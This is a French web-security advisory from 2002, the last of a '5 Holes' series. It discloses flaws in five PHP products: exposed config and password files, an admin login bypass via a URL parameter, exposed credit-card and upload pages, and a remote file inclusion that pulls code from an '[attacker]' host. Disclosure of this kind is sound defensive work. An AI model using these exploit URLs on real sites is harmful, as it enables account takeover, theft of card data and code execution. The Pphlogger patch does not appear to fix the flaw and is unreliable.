5 Holes, Part 10 **************** Intro : °°°°°°° Ceci est le 10ème tutoriel de la série 5holes*. Chacun de ces tutos comportaient les explications de failles se trouvant sur 5 produits WEB. 50 produits ont donc été annaysés dans cette série. Celui-ci est (peut-être, même sûrement) le dernier, quitte à faire certains tutoriels d'une demi page. Ce sont des raisons pratiques qui me poussent à agir de la sorte, comme c'était des raisons pratiques qui m'ont poussé à faire des textes sur 5 produits. Les circonstences ont changé. Sur ce, bonne lecutre :) Date : °°°°°° 23/09/2002 Services : °°°°°°°°°° - TightAuction - PY-Membres - upb PB - MidiCart PHP - Pphlogger Developpements : °°°°°°°°°°°°°°°° 1) TightAuction ~~~~~~~~~~~~~~~ Website : http://www.tightprices.com Version : tested on 3.0 Problème : Récuperation des infos de la DB Developpement : TightAuction est un systeme de vote et de classification. Il permet de s'inscrire comme membre et contient une partie admin. Toutes les infos de la base de donnée sont stockées dans un fichier lisible par tous : config.inc . Si on se rend sur http://[target]/config.inc, on telechargera ce fichier, et on pourra voir : - dans la variable $DB_Username, le login - dans la variable $DB_Password, le mot de passe - et dans la variable $DB_Database, le serveur. On peut aussi les afficher en créant et executant le fichier PHP : Patch : Renommer config.inc en config.inc.php, sans oublier de changer le code PHP correspondant. 2) PY-Membres ~~~~~~~~~~~~~ Website : http://py-scripts.levillage.org/ Version : tested on 3.1 Problème : Accès à tout les comptes user Developpement : PY-Membres est un script d'espace membre. Il permet une authentification automatique, la récuperation du password par email, la destruction de son compte, ainsi que d'autres fonctions et une partie administrative. La faille se trouve dans index.php, que je commente : ------------------------------------------------------------------------------------ [...] // on lance le formulaire de login, sinon la partie du membre loggé. ------------------------------------------------------------------------------------ Il n'y a dans ce fichier aucune vérification de la valeur de $pymembs, on peut donc y mettre n'importe quel pseudo. Si je veux par exemple accèder au compte de l'user "admin", je taperais l'url http://[target]/index.php?pymembs=admin . Une session confirmant que je suis loggé s'ouvrira et j'arriverai dans le compte d'admin. Patch : Dans index.php, remplacer les lignes : ------------------------------ if ($pymembs) { $login=$pymembs; session_start(); session_register('login'); } else { session_start(); } ------------------------------ par session_start(); . 3) upb PB ~~~~~~~~~ Website : http://www.webrc.ca/ Version : tested on 1.0b Problème : Récuperation des infos des users Patch : Utiliser des htaccess. Developpement : Upb est un forum avec une partie admin, la possibilité de s'inscrire comme membre et quelques autres fonctions. Les informations des users se trouvent dans un fichier lisible par tous : /db/users.dat Elles sont contenues sur chaque ligne de cette façon : Login<~>Password<~>Niveau<~>Email<~>Ville<~>Url<~>icq<~>aim<~>msn<~>Signature<~>Posts<~>Date d'inscription<~>ID Il suffit donc de télécharger et de lire ce fichier pour avoir les passwords de tout les membres. 4) MidiCart PHP ~~~~~~~~~~~~~~~ Website : http://www.midicart.com Version : 1 Problèmes : Récuperation d'informations Upload Developpement : Deux fichiers dans le dossier admin sont accessibles et dangereux. Ces deux fichiers sont : /admin/credit_card_info.php /admin/upload.php . Comme le dit son nom, le premier nous donnera les cartes de credits avec leur date d'expiration. Le deuxieme permet d'uploader. C'est un formulaire qui renvois vers le fichier /admin/upload_final.php, dont le code est -------------------------------------------------- -------------------------------------------------- et qui permet d'uploader n'importe quel fichier dans le dossier /images/ du site. Patch : Placer des htaccess ou supprimer les fichiers suivant dans le dossier /admin/ : upload.php upload_final.php credit_card_info.php 5) Pphlogger ~~~~~~~~~~~~ Website : http://www.phpee.com Versions : tested on 2.0.9, 2.2.1, 2.2.2a Problème : Inclusion de fichiers Developpement : Pphlogger est un produit d'espace membre avec une partie admin et des fonctions comme le profil ou le calendrier. Dans le fichier showhits.php3 de la version 2.0.9, on peut voir les lignes : ------------------------------------- if (!isset($rel_path)) $rel_path=""; include $rel_path."config.inc.php3"; include $rel_path."get_userdata.php3"; ------------------------------------- La variable $rel_path est définie dans le script si elle n'a pas été définie auparavant. Rien ne nous empêche donc de créer un fichier config.inc.php3 ou get_userdata.php3 sur un site http://[attacker]/ et des les inclure avec l'url http://[target]/showhits.php3?rel_path=http://[attacker] . On peut à partir de là faire executer nimporte quel code PHP, sur et avec les droits et les restrictions du serveur. Si on teste cette faille sur une version 2.2.1 ou 2.2.2a, on peut voir l'erreur : Warning: Failed opening 'http://[attacker]/main_location.inc' for inclusion (include_path='/usr/local/share/pear:/usr/local/lib/php:.') in /www2/virtualhosts/pphlogger/showhits.php on line 60 Une faille similaire se trouve donc dans les versions citées dans showhits.php3, mais le fichier à inclure n'est plus config.inc.php3 ou get_userdata.php3 mais bien main_location.inc . Patch : Dans showhits.php3 remplacer les lignes ------------------------------------- if (!isset($rel_path)) $rel_path=""; include $rel_path."config.inc.php3"; include $rel_path."get_userdata.php3"; ------------------------------------- par ------------------------------------- $rel_path="".$rel_path; include $rel_path."config.inc.php3"; include $rel_path."get_userdata.php3"; ------------------------------------- La version 2.2.2b n'a pas l'air atteinte par la faille. Credits : °°°°°°°°° frog-m@n leseulfrog@hotmail.com http://www.frog-man.org